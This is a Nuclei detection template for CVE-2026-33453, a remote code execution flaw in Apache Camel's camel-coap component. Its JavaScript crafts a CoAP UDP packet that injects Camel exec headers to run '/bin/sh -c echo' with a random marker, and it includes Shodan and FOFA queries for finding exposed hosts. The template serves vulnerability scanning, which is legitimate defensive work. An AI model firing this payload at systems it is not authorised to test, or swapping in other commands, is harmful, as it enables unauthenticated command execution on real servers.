Apache Camel camel-coap - Remote Code Execution

id: CVE-2026-33453

info:
  name: Apache Camel camel-coap - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    Apache Camel camel-coap component 4.14.0-4.14.5, 4.18.0 before 4.18.1, and 4.19.0 contains a remote code execution caused by improper header filtering of CoAP URI query parameters, letting unauthenticated attackers inject headers and execute arbitrary OS commands via header-sensitive producers, exploit requires sending a single CoAP UDP packet.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands remotely, leading to full system compromise under Camel process privileges.
  remediation: |
    Upgrade to Apache Camel version 4.18.1 or 4.19.0 or later.
  reference:
    - https://camel.apache.org/security/CVE-2026-33453.html
    - https://issues.apache.org/jira/browse/CAMEL-23222
    - https://www.cve.org/CVERecord?id=CVE-2026-33453
    - https://github.com/apache/camel/pull/22148
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-33453
    epss-score: 0.09178
    epss-percentile: 0.95368
    cwe-id: CWE-915
  metadata:
    max-request: 1
    vendor: apache
    product: camel
    shodan-query: port:5683
    fofa-query: protocol="coap"
  tags: cve,cve2026,rce,coap,apache,camel,vkev

javascript:
  - code: |
      let net = require("nuclei/net");

      function byteToHex(b) {
        return ("0" + (b & 0xFF).toString(16)).slice(-2);
      }

      function strToHex(s) {
        let hex = "";
        for (let i = 0; i < s.length; i++) {
          hex += byteToHex(s.charCodeAt(i));
        }
        return hex;
      }

      function encodeOption(delta, valueHex) {
        let valueLen = valueHex.length / 2;
        let d, ed = "", l, el = "";

        if (delta < 13) {
          d = delta;
        } else if (delta < 269) {
          d = 13; ed = byteToHex(delta - 13);
        } else {
          d = 14;
          ed = byteToHex((delta - 269) >> 8) + byteToHex((delta - 269) & 0xFF);
        }

        if (valueLen < 13) {
          l = valueLen;
        } else if (valueLen < 269) {
          l = 13; el = byteToHex(valueLen - 13);
        } else {
          l = 14;
          el = byteToHex((valueLen - 269) >> 8) + byteToHex((valueLen - 269) & 0xFF);
        }

        return byteToHex((d << 4) | l) + ed + el + valueHex;
      }

      let chars = "abcdefghijklmnopqrstuvwxyz";
      let marker = "CVE202633453";
      for (let i = 0; i < 8; i++) {
        marker += chars.charAt(Math.floor(Math.random() * chars.length));
      }

      let mid = Math.floor(Math.random() * 65536);
      let tok = "";
      for (let i = 0; i < 4; i++) {
        tok += byteToHex(Math.floor(Math.random() * 256));
      }
      let header = byteToHex(0x44) + byteToHex(0x02) +
                   byteToHex((mid >> 8) & 0xFF) + byteToHex(mid & 0xFF);

      let opts = "";
      let prevOpt = 0;

      opts += encodeOption(11 - prevOpt, strToHex("exec")); prevOpt = 11;

      opts += encodeOption(12 - prevOpt, "00"); prevOpt = 12;

      opts += encodeOption(15 - prevOpt,
        strToHex("CamelExecCommandExecutable=/bin/sh")); prevOpt = 15;

      opts += encodeOption(15 - prevOpt,
        strToHex("CamelExecCommandArgs=-c 'echo " + marker + "'")); prevOpt = 15;

      let packet = header + tok + opts + "ff" + strToHex("probe");

      let hostOnly = Host.split(":")[0];
      let conn = net.Open("udp", hostOnly + ":" + Port);
      conn.SetTimeout(10000);
      conn.SendHex(packet);
      let resp = conn.Recv(4096);
      conn.Close();

      let output = "";
      if (resp && resp.length >= 4) {
        let tkl = resp[0] & 0x0F;          // token length (bits 3-0 of byte 0)
        let off = 4 + tkl;                  // start of options

        while (off < resp.length) {
          if (resp[off] === 0xFF) { off++; break; }  // payload marker
          let b = resp[off]; off++;
          let od = (b >> 4) & 0xF;         // option delta nibble
          let ol = b & 0xF;                // option length nibble
          // Extended delta bytes
          if (od === 13) { off++; }
          else if (od === 14) { off += 2; }
          // Extended length bytes + length adjustment
          if (ol === 13) { ol = resp[off] + 13; off++; }
          else if (ol === 14) { ol = ((resp[off] << 8) | resp[off + 1]) + 269; off += 2; }
          off += ol;
        }

        // Decode payload bytes → string
        for (let i = off; i < resp.length; i++) {
          output += String.fromCharCode(resp[i]);
        }
      }

      let result = "";
      if (output.indexOf(marker) !== -1) {
        result = "VULNERABLE|" + marker + "|" + output.trim();
      } else {
        result = "SAFE|" + output.substring(0, 200);
      }
      Export(result);

    args:
      Host: "{{Hostname}}"
      Port: "5683"

    matchers:
      - type: word
        words:
          - "VULNERABLE|"
          - "CVE202633453"
        condition: and

    extractors:
      - type: regex
        group: 1
        regex:
          - "VULNERABLE\\|([^|]+)\\|"